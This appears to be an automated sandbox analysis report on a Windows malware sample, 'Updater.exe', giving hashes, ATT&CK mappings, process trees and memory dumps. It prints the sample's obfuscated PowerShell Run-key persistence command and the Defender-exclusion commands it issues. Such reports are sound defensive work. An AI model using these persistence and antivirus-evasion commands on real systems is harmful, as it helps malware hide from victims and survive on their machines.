213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7

Analysis

max time kernel
150s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 00:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Updater.exe
Size 11.6MB
Sample260819-a4gapacc75
SHA256 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7
MD5 d9636241120eb6b38a28e010dc70fa01
SHA1 f609394cb065f651b68b29352f1538a4ce19627c
SHA512 7d647ce3e95c9af05f7395672076ce17267daa3c98d9a9709f2d0565fe6e1ad12a37d7fa71295e736ba79db3bc35b7d54dcba272688266651ef1f3f139bf4851
SSDEEP 196608:dlzJA5mK4mplH9ugx1lNIdrwkTY3AiK1EIUmh/LRFXddJWiSDxcKdO:dlM4ax1bcJTqK1+6ltWfc
TLSH
T116C6332835D5DC46DCA12B3485B5E7B047B41D8EA920EF0AAFD0BD9B3D36B7E8904127
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
928	powershell.exe
2096	powershell.exe
4088	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
924	sc.exe
1452	sc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\sc = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$w13m4b=Get-Date;$xa1d3i=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$5qkmwg=$env:COMPUTERNAME;$rgcnyx=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNjLmV4ZQ==')));$w13m4b=Get-Date;& $xa1d3i -FilePath $rgcnyx\""	Updater.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3036 set thread context of 5832	3036	Updater.exe	96
PID 924 set thread context of 1452	924	sc.exe	100

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5832-37-0x0000000140000000-0x00000001440A7000-memory.dmp	upx

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
924	sc.exe
1452	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3036	Updater.exe
4088	powershell.exe
4088	powershell.exe
4088	powershell.exe
928	powershell.exe
928	powershell.exe
928	powershell.exe
3036	Updater.exe
3036	Updater.exe
924	sc.exe
2096	powershell.exe
2096	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	3036	Updater.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeIncreaseQuotaPrivilege	4088	powershell.exe
Token: SeSecurityPrivilege	4088	powershell.exe
Token: SeTakeOwnershipPrivilege	4088	powershell.exe
Token: SeLoadDriverPrivilege	4088	powershell.exe
Token: SeSystemProfilePrivilege	4088	powershell.exe
Token: SeSystemtimePrivilege	4088	powershell.exe
Token: SeProfSingleProcessPrivilege	4088	powershell.exe
Token: SeIncBasePriorityPrivilege	4088	powershell.exe
Token: SeCreatePagefilePrivilege	4088	powershell.exe
Token: SeBackupPrivilege	4088	powershell.exe
Token: SeRestorePrivilege	4088	powershell.exe
Token: SeShutdownPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeSystemEnvironmentPrivilege	4088	powershell.exe
Token: SeRemoteShutdownPrivilege	4088	powershell.exe
Token: SeUndockPrivilege	4088	powershell.exe
Token: SeManageVolumePrivilege	4088	powershell.exe
Token: 33	4088	powershell.exe
Token: 34	4088	powershell.exe
Token: 35	4088	powershell.exe
Token: 36	4088	powershell.exe
Token: SeDebugPrivilege	924	sc.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeIncreaseQuotaPrivilege	2096	powershell.exe
Token: SeSecurityPrivilege	2096	powershell.exe
Token: SeTakeOwnershipPrivilege	2096	powershell.exe
Token: SeLoadDriverPrivilege	2096	powershell.exe
Token: SeSystemProfilePrivilege	2096	powershell.exe
Token: SeSystemtimePrivilege	2096	powershell.exe
Token: SeProfSingleProcessPrivilege	2096	powershell.exe
Token: SeIncBasePriorityPrivilege	2096	powershell.exe
Token: SeCreatePagefilePrivilege	2096	powershell.exe
Token: SeBackupPrivilege	2096	powershell.exe
Token: SeRestorePrivilege	2096	powershell.exe
Token: SeShutdownPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeSystemEnvironmentPrivilege	2096	powershell.exe
Token: SeRemoteShutdownPrivilege	2096	powershell.exe
Token: SeUndockPrivilege	2096	powershell.exe
Token: SeManageVolumePrivilege	2096	powershell.exe
Token: 33	2096	powershell.exe
Token: 34	2096	powershell.exe
Token: 35	2096	powershell.exe
Token: 36	2096	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 4088	3036	Updater.exe	90
PID 928 wrote to memory of 924	928	powershell.exe	95
PID 3036 wrote to memory of 5832	3036	Updater.exe	96
PID 3036 wrote to memory of 5832	3036	Updater.exe	96
PID 3036 wrote to memory of 5832	3036	Updater.exe	96
PID 3036 wrote to memory of 5832	3036	Updater.exe	96
PID 924 wrote to memory of 2096	924	sc.exe	98
PID 924 wrote to memory of 1452	924	sc.exe	100
PID 924 wrote to memory of 1452	924	sc.exe	100
PID 924 wrote to memory of 1452	924	sc.exe	100
PID 924 wrote to memory of 1452	924	sc.exe	100

C:\Users\Admin\AppData\Local\Temp\Updater.exe
"C:\Users\Admin\AppData\Local\Temp\Updater.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Updater.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4088
- C:\Users\Admin\AppData\Local\Temp\Updater.exe
  C:\Users\Admin\AppData\Local\Temp\Updater.exe
  2⤵
  PID:5832

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$w13m4b=Get-Date;$xa1d3i=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$5qkmwg=$env:COMPUTERNAME;$rgcnyx=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNjLmV4ZQ==')));$w13m4b=Get-Date;& $xa1d3i -FilePath $rgcnyx"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:928
- C:\Users\Admin\AppData\Roaming\sc.exe
  "C:\Users\Admin\AppData\Roaming\sc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Launches sc.exe
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\sc.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2096
- - C:\Users\Admin\AppData\Roaming\sc.exe
    C:\Users\Admin\AppData\Roaming\sc.exe
    3⤵
    - Executes dropped EXE
    - Launches sc.exe
    PID:1452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_30klwrif.ofo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30klwrif.ofo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Roaming\sc.exe
Size 11.6MB
SHA256 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7
MD5 d9636241120eb6b38a28e010dc70fa01
SHA1 f609394cb065f651b68b29352f1538a4ce19627c
SHA512 7d647ce3e95c9af05f7395672076ce17267daa3c98d9a9709f2d0565fe6e1ad12a37d7fa71295e736ba79db3bc35b7d54dcba272688266651ef1f3f139bf4851
SSDEEP 196608:dlzJA5mK4mplH9ugx1lNIdrwkTY3AiK1EIUmh/LRFXddJWiSDxcKdO:dlM4ax1bcJTqK1+6ltWfc
TLSH
T116C6332835D5DC46DCA12B3485B5E7B047B41D8EA920EF0AAFD0BD9B3D36B7E8904127
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/924-42-0x0000020B307B0000-0x0000020B307D4000-memory.dmp

Download

memory/3036-4-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-5-0x0000029A40EB0000-0x0000029A40ED4000-memory.dmp

Download

memory/3036-6-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-7-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-8-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-9-0x0000029A5E6A0000-0x0000029A5F1F2000-memory.dmp

Download

memory/3036-10-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-11-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-0-0x00007FFA0545F000-0x00007FFA05460000-memory.dmp

Download

memory/3036-3-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-38-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/3036-1-0x0000029A3E690000-0x0000029A3F234000-memory.dmp

Download

memory/3036-2-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-22-0x00000198E0FC0000-0x00000198E0FDE000-memory.dmp

Download

memory/4088-31-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-24-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-23-0x00000198E0FE0000-0x00000198E1092000-memory.dmp

Download

memory/4088-25-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-26-0x00000198E0DA0000-0x00000198E0DAA000-memory.dmp

Download

memory/4088-27-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-17-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-30-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-19-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-32-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-33-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-18-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-36-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-12-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-16-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-41-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4088-15-0x00000198E0CE0000-0x00000198E0D02000-memory.dmp

Download

memory/5832-37-0x0000000140000000-0x00000001440A7000-memory.dmp

Download